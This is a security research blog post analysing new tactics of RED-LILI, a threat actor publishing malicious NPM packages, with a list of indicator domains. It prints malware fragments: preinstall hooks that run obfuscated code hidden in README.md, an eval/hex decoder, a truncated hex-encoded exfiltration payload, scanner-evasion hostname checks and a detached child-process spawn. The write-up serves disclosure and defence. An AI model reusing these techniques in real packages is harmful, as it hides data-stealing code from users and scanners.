Intro
A few weeks ago, we wrote about a new threat actor we called RED-LILI and described their capabilities, including an in-depth walkthrough of the automated system for publishing malicious NPM packages from automatically created user accounts.
After our publication, we have seen this same attacker changing their techniques and adding new exfiltration targets, enhancing evasive abilities in an attempt to slow down researchers, and even trying to communicate with the researchers using package names (such as “fuckyouscanner”).
RED-LILI Tracker
To keep track of RED-LILI as they deliver more malicious packages, our research team has launched RED-LILI Tracker (https://red-lili.info) – an open source mini-project tracking the attacker’s packages over time, while sharing analysis findings.
https://red-lili.info website
https://red-lili.info package details
RED-LILI has continued to publish packages similar to the ones we described in our previous blog. Since then, they published more than 60 malicious packages from over 50 unique accounts. This automated behavior has subsided recently and cleared the way for several changes. In this blog, we describe our new observations regarding this attacker’s TTPs.
Message in a bottle
Shortly after our publication, and probably in light of the community’s joint efforts in taking down RED-LILI’s malicious packages, we started seeing that some of the package’s names diverging from the normal pattern and seem to try and relay messages such as:
- dontbelikethat
- notsobrilliant
- dontgothereever
- dontblowthisoff
- heisnotwhatyousee
- helloboy634
- nosoawesome232
- fuckyouscanner
Hidden Malicious Code in Text Files
Most of these “message in a bottle” packages such as the package “dontgothereever” introduced a new tactic. Instead of the normal preinstall script:
"scripts":{
"test":"echo 'error no test specified' && exit 1",
"preinstall":"node index.js"
},
They move the malicious code to “lib/README.md” or “README.md”, obfuscated it, and run it from the preinstall script as before:
"scripts":{
"test":"echo 'error no test specified' && exit 1",
"preinstall":"node lib/README.md"
}
obfuscated README.md
Stolen Package Description
Another experiment with the package description files in RED-LILI’s recent attacks, which we saw in the “wf_storage” package for example, is the attacker stealing another project’s description (https://github.com/raincatcher-beta/raincatcher-file#supported-storage-engines). In an attempt to make the package look more credible.
Stolen project description appears in the malicious package, taken from a random GitHub page
eval() & hexilify() a match made in hell
Another new obfuscation technique we observed, in “turbine_helper” for example, is a combined usage of the nefarious built-in function “eval()” and the “hexilify()” function written by the package’s developer.
We saw two different usages of this combination:
function render(image){
eval(hexify(package,hexify(package,image)));}
Or:
eval(hexilify(package,img))
the “hexilify()” function’s main purpose is to decode hexadecimal string into the original code.
function hexilify(pack,data) {
const bufferText = Buffer.from(data, 'hex');
const text = bufferText.toString('ascii');
return text.replace('%%%%%%',pack);
}
The hex encoded input to this function varies slightly between the different packages using it, but it looks roughly as follows:
img="636f6e7374206f73203d207265717569726528226f7322293b0a636f6e737420646e73203d20726571756972652822646e7322293b0a636f6e7374207175657279737472696e67203d207265717569726528227175657279737472696e6722293b0a636f6e7374206874747073203d20726571756972652822687474707322293b0a636f6e7374206673203d20726571756972652827667327293b0a766172207061…
571203d2068747470732e72657175657374286f7074696f6e732c202872657329203d3e207b0a20202020202020207265732e6f6e282264617461222c20286429203d3e207b0a2020202020202020202020202f2f70726f636573732e7374646f75742e77726974652864293b0a20202020202020207d293b0a202020207d293b0a0a202020207265712e6f6e28226572726f72222c20286529203d3e207b0a20202020202020202f2f20636f6e736f6c652e6572726f722865293b0a202020207d293b0a0a202020207265712e777269746528706f737444617461293b0a202020207265712e656e6428293b0a7d";
the “hexilify()” is also used in other parts of the code to hinder defenders using static analysis by obfuscating strings that may use to identify this attacker’s activity.
function isValid(hostname, path, username) {
if (hostname == unhexify("4445534b544f502d3445314953304b") && username == unhexify("6461617361646d696e")) {
return false;
} else if (hostname == unhexify('626f78')) {
return false;
} else if (checkhex(hostname)) {
return false;
} else if (checkuuid(hostname)) {
return false;
}
else if (hostname == unhexify('6c696c692d7063')) {
return false;
} else if (hostname == unhexify('6177732d3767726172613931336f6964356a736578676b71')) {
return false;
}
else if (hostname == unhexify('696e7374616e6365')) {
return false;
} else {
return true;
}
return true;
}
Usage of the hexilify function
isValid() adjustments
In the field of security scanners’ detection, we saw a minor change in the “isValid()” function, which is meant to detect hostnames and usernames belonging to scanners or other machines the attacker want to avoid from running on.
In the package “bfs-hello-world” for example, we saw a new regex which was made to detect “uuid”s (Universal Unique Identifier) and keep the code from running in these environments. This is possibly because the attacker noticed security scanners with “uuid”s as hostnames and tried to avoid it as well.
function checkuuid(inputString) {
var re = /^[0-9a-f]+-[0-9a-f]+-[0-9a-f]+-[0-9a-f]+-[0-9a-f]+$/g;
if (re.test(inputString)) {
return true
} else {
return false;
}
}
Using ‘child_process’
In the package “bfx-hf-func-data”, we saw for the first time the usage of “child_process” from this attacker. Here, the preinstall script still runs the index.js file upon package installation, but this file itself contains different code with include the following snippets:
var spawn = require('child_process').spawn;
spawn('node', ['bgService.js',process.pid], {
stdio: 'ignore', // piping all stdio to /dev/null
detached: true
}).unref();
These lines of code spawn a child process that runs the bgService.js file which contains the same hex encoded malicious code we saw before.
The Next Attack Wave is Coming
Since the previous wave we wrote about in our first blogpost about the attacker, RED-LILI have slowed down and paused the burst automation attacks. They dumped their old domain names and registered a new domain (22timer[.]ga). We believe the next wave is yet to come and that RED-LILI is now exploring and publishing cherry-picked packages, each with different evasion technique.
However, the attacker’s thumbprint still remains as they re-use similar characteristics (code similarity, same identifying strings, etc.). In recent packages they are doing it while exfiltrating the data they collect to previously unknown addresses on different services, from what we have seen before such as free webhook services, for example, pipedream and requestbin.
old domains
new 22timer.ga domain
Some of the latest packages published have also showed slight changes in regard to the user accounts publishing them. Up until now we were used to randomly generated usernames publishing a single package per account. However, the recent packages RED-LILI have published were from the usernames “john.moralis” and “leftwing_tenore” with the latter publishing 5 different packages.
Conclusion
In the past weeks, Checkmarx supply chain security team is tracking the threat actor RED-LILI which is constantly developing its capabilities. In this blog we reported about RED-LILI’s recent changes in code and TTP’s.
Furthermore, our research team has launched red-lili.info – an open source mini-project tracking the attacker’s packages over time, while sharing analysis findings.
IOC’s
- eome8ew0yti04in.m.pipedream[.]net
- eo74s7cfv23fror.m.pipedream[.]net
- 33mail[.]ga
- 636o3.fuzzdb[.]cf
- 3faa13bc25347fa55cff.d.requestbin[.]net
- 425a2.33mail[.]ga
- 22timer[.]ga